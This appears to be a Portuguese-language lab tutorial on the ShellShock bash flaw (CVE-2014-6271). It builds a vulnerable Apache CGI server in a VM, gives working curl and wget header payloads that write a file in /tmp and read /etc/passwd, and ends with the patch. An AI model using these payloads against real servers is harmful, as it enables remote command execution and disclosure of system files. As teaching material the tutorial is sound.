Reading Time: 4 minutes

Tutorial
ShellShock
() { :; } ;

 

O autor deste documento entende que este tutorial serve apenas para demonstrar a exploração da vulnerabilidade ShellShock (CVE-2014-6271) e a sua respetiva correção. Não sendo responsável pelo uso inadequado do mesmo

 

I. INTRODUÇÃO

Neste tutorial é demonstrado como configurar um servidor vulnerável a esta falha e explora-lo remota-mente. O ambiente Linux (Ubunto Server 14.04) foi o escolhido para a realização da experiência.

II. CONCEITOS IMPORTANTES

  • ShellShock é uma vulnerabilidade que afeta o interpretador de comandos de sistemas Linux (BashShell), o que significa que uma pessoa mal intencionada, aproveitando-se desta falha, pode executar um comando arbitrário no sistema, o que pode provocar severos danos.
  • CGI é um acrónimo de Common Gateway Interface. Basicamente é uma tecnologia que permite gerar páginas dinâmicas, permitindo a um navegador passar parâmetros para um programa alojado num servidor web. Assim, designam-se por scripts CGI os pequenos programas que interpretam esses parâmetros e geram a página depois de os processar. Para mais informações consultar, por favor, o seguinte endereço: http://pt.wikipedia.org/wiki/CGI.

 

III. SOFTWARE NECESSÁRIO

O Software utilizado neste ponto, passa por obter um gestor de máquinas virtuais, e uma imagem de um sistema operativo Linux, anterior a Agosto de 2014, em especifico será utilizado o seguinte software:

Parte-se do princípio, que o leitor, instale este software, assim como a máquina virtual.

Para o correto funcionamento deste tutorial não faça atualizações no sistema operativo durante a instalação, assim como com ele já instalado na máquina virtual, pelo menos para já.

Execute o seguinte comando na sua máquina virtual:

echo $BASH_VERSION

 

Se o output apresentado no terminal for ≤ 4.3.8(1), então significa que a versão do bash do sistema operativo é vulnerável.

Para verificar se o sistema é vulnerável, execute o seguinte comando:

env x='() { :;}; echo vulneravel’ bash -c ‘echo hello’

 

Caso vulneravel apareça no output então o sistema é vulnerável, e a partir de agora irá ser demonstrado como se pode aproveitar esta falha remotamente.

Versão do bash do sistema operativo Linux vers ̃ao 4.3.8(1).
Versão do bash do sistema operativo Linux vers ̃ao 4.3.8(1).
Versão vulnerável do bash.
Versão vulnerável do bash.

 

IV. Configuração da Máquina Virtual

A. Configuração da Rede

Para que a máquina virtual comunique com sistema operativo base do host, é necessário configurar a interface de rede como apresentado na imagem na figura abaixo.

MáquinaDefiniçõesRede
Ou simplesmente pressione: ctrl+s.
Aqui selecione em ’Associado a:’ Adaptador Bridged.

Gestor de configuração de rede da VirtualBox.
Gestor de configuração de rede da VirtualBox.

De seguida, reinicie a máquina virtual deforma a aplicar devidamente as alterações.
Caso consiga fazer ping do host para a máquina virtual pode prosseguir para o passo seguinte.

 

B. Configuração do Apache2 e Script CGI

Durante a instalação do sistema operativo na máquina virtual, caso tenha optado pelo Ubuntu Server e ignorado o passo da escolha dos serviços que pretendia instalar, pode sempre instalar o Apache2 assim como outros serviços para a correta concretização deste tutorial.

Para instalar o Apache2 faça:

sudo apt-get install apache2

 

É aconselhada a reinicialização da máquina virtual após a conclusão da instalação.

Para verificar que o Apache2 está a corretamente instalado pode simplesmente ir ao navegador de Internet do seu sistema nativo e digitar o endereço Ip da máquina virtual, caso esteja tudo correto irá apresentar a página por omissão do servidor Apache2.
Após estas verificações, pode ir para o passo seguinte, que é a configuração do Apache2 para este conseguir correr scripts CGI.

Para habilitar o uso de scripts CGI no Apache2 é necessário editar um ficheiro, digite:

sudo vim /etc/apache2/sites-available/000-default.conf
Ficheiro 000-default.conf original.
Ficheiro 000-default.conf original.

Para introduzir o código no vim digite: i
Para sair e gravar as alterações no vim digite: Esc seguido de :wq

Ficheiro 000-default.conf já configurado.
Ficheiro 000-default.conf já configurado.

De seguida reinicie o Apache2, digitando:

sudo service apache2 restart

 

Vá a /var/www/ e crie um ficheiro de nome teste.cgi, e introduza o código listado na seguinte imagem.

cd /var/www/html/
sudo vim teste.cgi
Conteúdo do ficheiro teste.cgi.
Conteúdo do ficheiro teste.cgi.

De seguida, é necessário dar permissões de escrita e execução ao script.

sudo chmod 755 teste.cgi

 

Para verificar se o script est á a funcionar, vá ao navegador de Internet do seu sistema nativo, digite o seguinte endereço: ipdasuaMaquinaVirtual/teste.cgi

Se tudo estiver correto no navegador de Internet será exibida a mensagem Isto eh um teste.

Neste momento, irá proceder-se à fase de exploração desta falha.

 

V. Exploração da Falha

Nesta secção, será demonstrado porque um servidor com estas caraterísticas, pode ser um alvo, e provocar-lhe os mais diversos efeitos, dependendo apenas da imaginação do ”atacante”.
Este ataque vai ser executado remotamente, através do host nativo será efetuado um ataque à máquina virtual vulnerável via protocolos GET e POST, ou seja irá apenas proceder-se a criação de um ficheiro na máquina virtual, via esta falha, e à obtencão de um ficheiro considerado ”crítico” do alvo, isto tudo remotamente, para isso serão usados os comandos curl, e wget, para mais informações sobre estes, recomenda-se a visualização da man page dos mesmos através dos comandos.

man curl
man wget

 

Execute o código abaixo e veja que não existe qualquer tipo de ficheiro nesta pasta.

cd /tmp/
ls

 

Devido à extensão dos códigos considere:

*endereco = “http://ipdaMaquinaVirtual/teste.cgi”

 

De seguida, no seu sistema nativo, execute o seguinte código:

curl -H “Content-Type:() { :;}; echo invadido > /tmp/oi.txt” *endereco

 

Criação de um ficheiro no sistema alvo na pasta em /tmp/oi.txt, remotamente, com o conteúdo invadido, para verificar execute:

cd /tmp/
ls
cat oi.txt

 

Obter o ficheiro /etc/passwd do sistema alvo, remotamente, para isso execute:

wget -U “() { :;};echo \”Content-type: text/plain\”; echo; echo; /bin/cat /etc/passwd” *endereco

 

Este ficheiro terá o nome teste.cgi e estará na sua diretoria de utilizador no seu sistema nativo, para o visualizar execute:

cd ~
cat teste.cgi

 

E assim ficou demonstrado porque o ShellShock pode ser perigoso.

 

VI. Resolução do Problema

A resolução deste problema é bastante simples, pois apenas implica que o administrador do sistema, atualize o seu sistema, sendo apenas necessário digitar os seguintes códigos:

sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade